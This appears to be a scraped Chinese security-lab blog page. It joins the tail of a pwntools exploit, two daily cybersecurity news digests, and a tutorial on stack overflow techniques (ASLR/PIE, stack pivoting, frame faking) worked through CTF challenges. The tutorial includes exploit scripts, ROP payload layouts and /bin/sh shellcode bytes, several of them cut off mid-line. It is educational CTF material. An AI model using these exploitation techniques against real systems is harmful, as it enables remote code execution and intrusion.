p.recvuntil("input index\n")p.sendline(str(offset+1))p.recvuntil("now value(hex) ")addr1 = p.recvuntil('\n')[:-1]p.sendline(str(newValue)) p.recvuntil("input index\n")p.sendline(str(offset+2))p.recvuntil("now value(hex) ")addr2 = p.recvuntil('\n')[:-1]p.sendline(str(newValue)) libc_start_main = byte(addr2) + byte(addr1) + byte(addr)libc_addr = int('0x'+libc_start_main,16) - libc_start_main_addr - libc_start_main_241one_gadget_addr = libc_addr + one_gadget print hex(one_gadget_addr) a = int('0x'+hex(one_gadget_addr)[-2:],16)b = int('0x'+hex(one_gadget_addr)[-4:-2],16)c = int('0x'+hex(one_gadget_addr)[-6:-4],16) gdb.attach(p) p.recvuntil("input index\n")p.sendline(str(offset))p.recvuntil("now value(hex) ")addr = p.recvuntil('\n')[:-1]p.sendline(str(a)) p.recvuntil("input index\n")p.sendline(str(offset+1))p.recvuntil("now value(hex) ")addr1 = p.recvuntil('\n')[:-1]p.sendline(str(b)) p.recvuntil("input index\n")p.sendline(str(offset+2))p.recvuntil("now value(hex) ")addr2 = p.recvuntil('\n')[:-1]p.sendline(str(c))p.recvuntil("input index\n")p.sendline('a')p.interactive() 用实战磨练技术,加入网安实验室,1300+网安技能任你学!
网络安全日报 2021年04月01日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、Citrix修补Hypervisor中的DoS漏洞 https://www.securityweek.com/citrix-patches-dos-vulnerabilities-hypervisor 2、朝鲜APT组织冒充渗透测试公司 https://www.securityweek.com/north-korean-gov-hackers-back-fake-pen-test-company 3、IETF弃用TLS 1.0和TLS 1.1,更新为最新版本 https://securityaffairs.co/wordpress/116151/security/ietf-deprecates-tls-1-0-tls-1-1.html 4、印度MIDC的服务器遭SYNack勒索软件攻击 https://www.ehackingnews.com/2021/03/midcs-server-hacked-threat-to-destroy.html 5、美国国税局警告钓鱼攻击冒充IRS针对教育机构 https://www.bleepingcomputer.com/news/security/scammers-target-universities-in-ongoing-irs-phishing-attacks/ 6、新加坡家具零售连锁店Vhive遭到勒索软件攻击 https://www.databreaches.net/sg-vhive-alerts-consumers-to-cyberattack/ 7、数以百计的Fleeceware应用程序骗取了数百万美金 https://cyware.com/news/hundreds-of-fleeceware-apps-earning-millions-of-dollars-dead669b 8、犯罪分子将照片转为视频欺骗国家税务平台身份验证系统 https://www.theregister.com/2021/03/31/tax_scammers_fool_ai_facial_recognition 9、攻击者以大学为目标进行持续的IRS网络钓鱼攻击 https://www.bleepingcomputer.com/news/security/scammers-target-universities-in-ongoing-irs-phishing-attacks/ 10、卡巴斯基研究发现支付勒索软件赎金的受害者1/5无法恢复数据 https://portswigger.net/daily-swig/ransomware-nearly-a-fifth-of-victims-who-pay-off-extortionists-fail-to-get-their-data-back
网络安全日报 2021年03月31日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、OAuth Apps 正在成为厂商以及用户的新安全攻击面 https://www.proofpoint.com/us/blog/cloud-security/oauth-abuse-think-solarwindssolorigate-campaign-focus-cloud-applications 2、网络犯罪分子从壳牌和多所大学窃取数据 https://www.securityweek.com/cybercriminals-publish-data-allegedly-stolen-shell-multiple-universities 3、VMware解决了vRealize Operations中的SSRF漏洞 https://securityaffairs.co/wordpress/116145/security/vmware-vrealize-operations-ssrf-flaw.html 4、WP插件Ivory Search 中的XSS漏洞影响了6万多个站点 https://securityaffairs.co/wordpress/116140/hacking/reflected-xss-ivory-search-wp-plugin.html 5、30个恶意挖矿Docker镜像被下载2000万次 https://securityaffairs.co/wordpress/116111/cyber-crime/docker-cryptojacking-attacks.html 6、报告称SolarWinds攻击访问了DHS的电子邮件 https://threatpost.com/solarwinds-attackers-dhs-emails/165110/ 7、印度移动支付服务MobiKwik遭重大数据泄露影响350W用户 https://thehackernews.com/2021/03/mobikwik-suffers-major-breach-kyc-data.html 8、安全服务提供商Akamai观察到了迄今为止最大的DDoS勒索攻击 https://www.securityweek.com/akamai-sees-largest-ddos-extortion-attack-known-date 9、研究人员发现SAML XML注入漏洞 https://research.nccgroup.com/2021/03/29/saml-xml-injection/ 10、Clop勒索软件团伙发布马里兰大学和加州大学数据 https://www.zdnet.com/article/ransomware-group-targets-universities-of-maryland-california-in-new-data-leaks/
栈溢出技巧(上)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>  ASLR和PIE 我们都知道由于受到堆栈和libc地址可预测的困扰,ASLR被设计出来并得到广泛应用,后来各种绕过技术出现,比如return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等的出现,PIE保护应运而生了。一般地都会把地址空间随机化和PIE混为一谈,没有详细地去了解过两者的区别(可能只有我没了解过,大佬们飘过即可),因为先来看一下两者的区别。ASLR(地址空间随机化)刚开始设计的时候是作为操作系统功能提供的,只考虑了当时技术背景下executable加载后stack、heap、libraries的随机化功能,也就是“对stack、heap root@pwn-PC:~# cat /proc/sys/kernel/randomize_va_space 1 root@pwn-PC:~# echo 0 > /proc/sys/kernel/randomize_va_space root@pwn-PC:~# cat /proc/sys/kernel/randomize_va_space 0 我们看下三者的区别:0不开启任何随机化的时候,怎么都不变,下面的是randomize_va_space值为1的时候,我们主要是注意,变化的:libc.so、ld.so和stack,不变的:.text、data、rodata、bss、vsyscall和heap。ps:BSS段 (bss segment)通常是指用来存放程序中未初始化的全局变量和静态变量(不带 const 修饰)的一块内存区域,是静态内存,不占用程序文件的大小,但是占用程序运行时的内存空间,而且初始化为0的全局变量也存在着bss段。data段用于维护初始化的且初始值非0的全局变量和静态变量(不带 const 修饰),但是它在在目标 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID0113-edf1-48ca-a394-e3503a25fcae (栈溢出是由于C语言系列没有内置检查机制来确保复制到缓冲区的数据不得大于缓冲区的大小,因此当这个数据足够大的时候,将会溢出缓冲区的范围。) 当randomize_va_space值为2的时候,heap也在变化,但是vsyscall依然不变。 再做一个实验,我们开启PIE,然后将randomize_va_space值设置为0。只此之前先简单介绍一下PIE,它是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术,在elf每次被加载时都变换加载基址。我们会发现两点,一、及时开启了PIE,但是在randomize_va_space值设置为0的情况下,每次加载的基址也是固定的;二、黄色圈起的部分明显比没有PIE时的程序加载的基址要大很多。 继续将randomize_va_space值设置为1,此时可以看到除了vsyscall依然镇守高地以外,其它都在随机化,就连heap也在随机化(对比上一个randomize_va_space为1的情景)。 randomize_va_space值设置为2的时候就不用看了,和上图一样。做完这些实验后,可以总结如下三点:一、根据图二印证了,PIE只是在编译的过程中赋予了ELF加载到内存时其加载基址随机化的功能,也就是编译后的文件已经具备了这个能力。二、经过图二和图三对比可以发现,具备了PIE能力的ELF,只有在有了ASLR这个允许的施展它PIE能力的环境下(无论是1,还是2),在加载的时候,PIE的作用才会显示出来(此时heap也会随机化)。三、vsyscall页面在每个进程中是静态分配了相同的地址,是固定的,后来的vdso弥补了这一缺陷。 ps:一、虽然PIE+ASLR后加载的基址是变化的,但是偏移量是不变的,是固定的,因此在利用的时候可以利用偏移量作为tips。二、内存页的大小是0x1000,因此加载后的程序,只有最后一个字节半处的地址是固定的,不变的。比如libc_start_main@@GLIBC_2.2.5的偏移是0x20740,那么无论加载多少次,在elf运行程序中libc_start_main@@GLIBC_2.2.5的地址为0x?????????740,最后一个字节半一直是740。 本文涉及相关实验:https://www.yijinglab.com/expc.do?ec=ECID0113-edf1-48ca-a394-e3503a25fcae(栈溢出是由于C语言系列没有内置检查机制来确保复制到缓冲区的数据不得大于缓冲区的大小,因此当这个数据足够大的时候,将会溢出缓冲区的范围。) stack pivoting 说完了上一节的内容,我们继续往下看,但是要注意上一节的内存,在整个栈溢出技巧中都会涉及到。先来看stack pivoting,这是2015年Computer Security Applications Conference发表的一篇名为Defeating ROP Through Denial of Stack Pivot文章讲到的,大体意思是劫持栈指针指向攻击者所能控制的内存处,然后在适当的位置里面进行 ROP,进而通过控制sp指向payload,触发payload的执行。这是绕过地址空间随机化的一种方法,根据定义归结于以下几种情况进行进行使用:构造这么一个32位的情景:如果栈溢出的空间无法满 X-CTF 2016 b0verfl0w 题目分析 可以看到是存在明显的栈溢出漏洞,但是可利用的空间较小,并且存在ASLR机制。 signed int vul() { char s; // [esp+18h] [ebp-20h] puts("\n======================"); puts("\nWelcome to X-CTF 2016!"); puts("\n======================"); puts("What's your name?"); fflush(stdout); fgets(&s, 50, stdin); printf("Hello %s.", &s); fflush(stdout); return 1; } 0x804850e <main>: push ebp 0x8 通过分析:溢出空间0x12的空间,也就是4个内存单元,地址随机化后,我们要利用栈溢出,只能先泄漏基址,空间有限所以不可能实现了,那么此时就用到了stack pivoting将栈劫持到一个已知空间中,而且有足够构造payload的空间。那么这个空间在哪呢?继续看 可以发现fgets并不影响esp,至始至终 esp的值没有变,而且esp中存储的依然是&s,也就是s的栈地址,那么我们就可以通过esp可以直接找到s的位置,不需要实际知道具体的地址数值,直接jmp esp就可以,使得eip指向0xffffbe38(劫持栈,然后控制eip)。那么payload放在哪里?当然是s的栈地址处,也就是ebp-0x20。此时可以这样设想,控制esp来指向我们的payload,然后通过jmp esp跳到payload处,然后通过ret指令控制eip,进而执行payload。那么需要做的事情就是:一、找到通过jmp esp的gadgets二、控制esp指向的地址就是payl 思路分析 这里先把用到的gadget找到 pwn@pwn-PC:~/Desktop/pwntips$ ROPgadget --binary b0verfl0w --only 'jmp|ret' Gadgets information ============================================================ 0x080483ab : jmp 0x8048390 0x080484f2 : jmp 0x8048470 0x08048611 : jmp 0x8048620 0x08048504 : jmp esp 0x0804836a : ret 0x0804847e : ret 0xeac1 然后通过ret将gadgets数据变成指令进行执行(eip中存储的是某一条指令的地址,地址,所以你直接把指令写在栈上,通过ret没办法执行)这里就需要栈溢出了通过栈溢出,(在当前栈帧,也就是你的payload是在当前栈上搭建的,需要此栈对应的leave ret 来进行栈溢出),不多说,很简单大体捋一下流程:粗略构造一下 ---------------- payload ---------------- fake ebp ---------------- jmp esp addr ---------------- ... ---------------- 发生栈溢出后,eip指向jmp esp addr,程序执行jmp esp,但是问题来了,此时的esp在...的内存单元地址处,我们本来是想用jmp esp跳到payload处,可是不能达到目的。那么怎么构造? 方法一 给出自己想出来的第一种构造方法,比wiki中方法短一点,可以缩短到溢出空间为4个字节,但是也是巧合吧,找到了0x08048500这个gadget。先改变esp的值,然后再jmp esp,如下图所示: 当程序执行ret指令后,就会使eip指向sub esp,0x24时,此时esp指向0x28;当程序执行完sub esp,0x24指令(为什么不是0x28呢?因为这里只在b0verfl0w找到了sub esp,0x24)后,就会使esp指向0x04位置,也就是存储0x08048504的单元。 再次执行ret指令后,使得eip指向jmp esp,此时esp指向shellcode(本题中没有nx保护);执行执行完jmp esp指令后,eip指向了shellcode,这样shellcode就被触发了。 方法二 来看第二种方法:这是wiki中给出的构造方法,如下:程序执行完ret指令后,eip会指向jmp esp,此时esp指向0x28。 执行完黄色的jmp esp后,eip指向了0x28。 程序执行完sub esp,0x28指令后,esp指向0x0。 此时程序会继续执行蓝色的jmp esp指令,然后eip就会指向0x0,接下来会执行payload。 ps:可以发现我们实际上构造的payload是什么?我当时不明白为什么要使用jmp esp的gadget。 这个就是应该执行的payload,执行control esp部分,那么一切就变的很完美掌控。但是确无法直接实现,因为指令被写入了栈里面(写入sub esp,0x28指令,前提是没有开启nx),需要eip去指向这个地址,才可以顺利执行,通过jmp esp的gadget即可达到这个效果,如下: 这样就可以,因为执行0x08048504时,esp指向0x28,那么jmp esp后shellcode就会完美执行。 exp exp一 exp(一): from pwn import * sh = process('./b0verfl0w') # context.arch = 'i386' context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode_x86 += "\x0b\xcd exp二 from pwn import * sh = process('./b0verfl0w') context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73" shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0" shellcode_x86 += "\x0b\xcd\x80" sub_esp_jmp = asm('sub esp 最后推荐一个工具 frame faking 顾名思义,frame faking就是另外起一个虚假的栈帧来控制程序的执行流,与栈迁移有异曲同工之处。为什么要这样呢?由于原来溢出空间大小不足以承载payload,解决溢出空间不足的问题。比如: int vuln(){ char buf[80]; return read(0, buf, 100); } 上面这个例子的溢出空间是0x14,不足以承载我们构造的payload,既然空间不足,我们就创造一个空间足够大的新的栈空间。或者如2018 安恒杯 over一样,溢出空间只够覆盖rbp和ret_addr,很极限的操作。后面的介绍中将会引出两种构造方式,一种是边读边迁,一种是读完再迁,根据不同的场景进行构造,多样地去理解这一方法。 思路一 第一种构造方式:边读边迁,然后以XDCTF2015的pwn200为例子进行实践,抛弃原来的正常的解法。虽然利用这种方法显得没必要,多此一举了,但是可以增加理解。首先明确这是一个递进的过程。怎么识别我们构造的栈是一个新的栈空间呢?那就需要ESP和EBP来配合,EBP和ESP之间的内存单元就是程序可识别的栈空间。那么怎么让ESP和ESP去指向新的栈空间呢?基于栈溢出,我们能够知道,在栈溢出中,影响到的寄存器中有EBP,ESP,那么我们就可以通过构造payload来实现ESP和ESP的值。其实这个本质在于怎么去控制ESP,我们可以使用控制EBP来协助,因为leave;ret指令可以使用EBP来间接控 那么怎么去执行payload呢?通过rop控制eip寄存器的值。可以发现,无论我们怎么做,最基本的就是控制EBP(栈)和控制EIP(执行流)。关键指令: 一、第一次调用leave指令,为了形成fake_ebp,这是原由代码段自带的部分,正常的程序执行流,leave也就是move esp, ebp; pop ebp,这就可以改变EBP的值为fake_ebp,完成第一步的迁移操作。 二、第二次调用leave指令,在栈中构造的gadget中的leave,leave=>move esp, ebp; pop ebp,通过ebp的值来改变esp的值,使得esp的值也是fake_ebp,完成第二步的迁移操作,至此,栈迁移工作完成。 三、第二次调用leave指令后,需要再调用ret指令,控制程序的执行流,从而执行新栈上的payload。边读边迁,顾名思义,两个过程是一块进行的,先控制ebp确定fake_ebp,然后在fake_ebp中写入payload,最后控制esp和eip执行payload。下面我们看一下具体的利用过程: 执行move esp, ebp,使得esp指向1处,然后执行pop ebp;此时ebp寄存器就会执行fake_ebp 执行ret时,eip执行read函数,此时就会执行read函数,我们传入一个fake_ebp_2的十六进制(这个是作为栈底地址),此时在fake_ebp地址处(ESP指向地址)的值为fake_ebp_2。 read函数执行返回后执行leave_ret命令,这里可以分为三个命令来执行。3-1时,EBP和ESP都指向了fake_ebp的位置 3-2时,EBP指向了fake_ebp_2,这里就是栈底了,ESP指向下一个内存单元,也就是ret_addr处3-3时,ESP继续指向下一个内存单元,EIP的值就是ret_addr的值。此时栈迁移就完毕了,我们就可以在一个新的栈里面构造payload了,通过上述可以发现,我们可以3-3的部分入手进行利用,通过2处的read函数写入满足条件的payload就可以执行命令。看完这三幅图,再结合一开始的描述,此过程的操作理解起来就简单了。 应用一 程序中sub_8048484()函数存在栈溢出漏洞: sub_8048484() { char buf; // [esp+1Ch] [ebp-6Ch] setbuf(stdin, &buf); return read(0, &buf, 0x100u); } 可以看到明显的栈溢出,虽然溢出的操作空间挺大的,我们依然尝试迁移栈的办法,根据上面的分析构造第一次发送的payload: ----------------------- aaaa.... |padding ----------------------- 0x804a820 |fake_ebp ----------------------- read@plt_addr |ret_addr ----------------------- 0x8048481 |leave_ret ----------------------- 0x0 |fd ----------------------- 0x804a820 |buf ----------------------- 0x64 |nbytes ------------- 第二次发送的payload ----------------------- 0x804a820 |padding ----------------------- write@plt_addr |ret_addr ----------------------- 0x8048369 |控制执行流 ----------------------- 0x1 |fd ----------------------- read@got.plt |buf ----------------------- 0x4 |nbytes ----------------------- write@plt_addr |ret_addr -------- 第三次发送的payload ----------------------- system_addr |0x804a84c ----------------------- bbbb |0x804a850 ----------------------- /bin/sh_addr |0x804a854 ----------------------- exp: from pwn import * context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] elf = ELF('bed0c68697f74e649f3e1c64ff7838b8') r = process('./bed0c68697f74e649f3e1c64ff7838b8') rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8') offset = 108 ## find stack overflow length bss_addr = ps:小知识点:使用sendline习惯了,read函数先读缓冲区预留的内容,再读输入的内容,自己构造的时候调式了好久,还是太菜,当时一直以为这是玄学问题。  思路二 第二种构造方式:读完再迁,依然以XDCTF2015的pwn200为例子进行实践。依然是需要构造一个新的也就是栈迁移,这其中包括:leave形成新栈、read函数在新的栈中读入内容、需要一个ret来控制rip进行执行。那么读完再迁就是说先把payload读完,然后再把ebp和esp一块确定到payload所在的位置。因此可以这样构造: ----------------------- aaaa.... |padding ----------------------- aaaa |ebp ----------------------- read@plt_addr |ret_addr ----------------------- 0x8048369 |控制执行流 ----------------------- 0x0 |fd ----------------------- fake_ebp . |buf ----------------------- 0x64 |nbytes ----------------------- po 我们看一下具体的操作: 应用二 其他内容同应用一,具体看一下这几次payload不同的地方: 首先是第一次,先执行完read完payload后,再次leave;ret进行迁移执行,期间由于有出栈的动作,所以得注意地址的填写,注意图一和图二中蓝色框框的地址部分即可。exp: from pwn import * context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] elf = ELF('bed0c68697f74e649f3e1c64ff7838b8') r = process('./bed0c68697f74e649f3e1c64ff7838b8') rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8') offset = 112 bss_addr = elf.bss() leave_ret = 0x08048 实践 以2018年安恒杯中over题目为例子: __int64 __fastcall main(__int64 a1, char **a2, char **a3) { setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); while ( sub_400676() ) ; return 0LL; } int sub_400676() { char buf; // [rsp+0h] [rbp-50h] memset(&buf, 0, 0x50uLL); putchar(62); read(0, &buf, 0x60uLL); return puts(&buf); } 存在栈溢出,但是payload空间不足,只能覆盖到ret_addr的内存单元。那么我们需要构造一个新栈(思路二),因为程序中存在循环读,刚好可以简化思路二,以至达到极限的空间大小。payload如下:p64(0)*n #padding fake rbp # 此时执行到这,代码段中会执行leave指令,控制rbp寄存器。leave_ret_addr # 因为我想控制rip寄存器,控制rsp寄存器,通过leave;ret控制rip寄存器。思路准备:一、文件为ELF 64-bit LSB executable,最后选择使用execve函数进行getshell(system("/bin/sh") 可能 步骤分析:我们需要泄漏libc的基址,然后计算出execve地址,于是构造如下payload进行getshell。 ----------------------- pop_rdi_ret |rdi = /bin/sh_addr ----------------------- /bin/sh_addr | ----------------------- pop_rdx_pop_rsi_ret |rdx = 0 rsi = 0 ----------------------- p64(0) | ----------------------- p64(0) | ----------------------- execve_addr |rip = execve_addr ----------------------- 那么问题来了,我们怎么样把这几步都串起来?首先是找一个base_addr作为新的栈,此题目和思路二中有区别就是无法去构造read函数对新栈写payload了,使用程序中的read函数去写payload,也就是说fake frame或者新栈的位置已经确定了,那就是read函数的buf参数,也就是rbp-0x50的栈上的地址。因此我们后面的构造的payload都需要围绕此处地址就行展开,因此这里就会多一步:获取fake_rbp地址。第一步:获取fake_rbp地址根据read函数的特性,read完后并不会给输入末尾补上'\0',和程序中的代码段:read(0, &buf, 0x60uLL);ret 第二步:泄漏libc的基址这一步类似于思路二的第一步和二步结合,但是构造泄漏libc的基址payload: ----------------------- aaaaaaaa |buf_addr ----------------------- pop_rdi_ret |rdi = puts@got_addr ----------------------- puts@got_addr | ----------------------- puts@plt_addr |puts(puts@got_addr) ----------------------- call sub_400676() | 循环读入开始(这样payload中就不需要构造read函数了) ----------------------- a 这里需要注意pop_rdi_ret是在over.over中找的,因为没有libc的基址情况下,无法使用libc中内容。执行完此payload后,减去libc.sym['puts']就是libc的地址,然后获取execve的地址和"bin/sh"字符串的地址。另外这与思路二的差别依然是read函数的,调用sub_400676()不能控制buf的地址,得围绕buf地址就行展开构造。 第三步:执行execve函数进行getshell因为无法控制read函数的buf地址,需要与上一步一样构造控制程序的执行流。payload如下, ----------------------- aaaaaaaa |buf_addr-0x30 ----------------------- pop_rdi_ret |rdi = /bin/sh_addr ----------------------- /bin/sh_addr | ----------------------- pop_rdx_pop_rsi_ret |rdx = 0 rsi = 0 ----------------------- p64(0) | ----------------------- p64(0) | ----------------------- execve exp: from pwn import * context.binary = "./over.over" context.arch = 'amd64' context.log_level = 'debug' context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c'] sh = process("./over.over") elf = ELF("./over.over") libc = elf.libc sh.sendafter(">", 'a' * 80) stack = u64(sh.recvuntil("\x7f")[-6: ].ljust(8
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页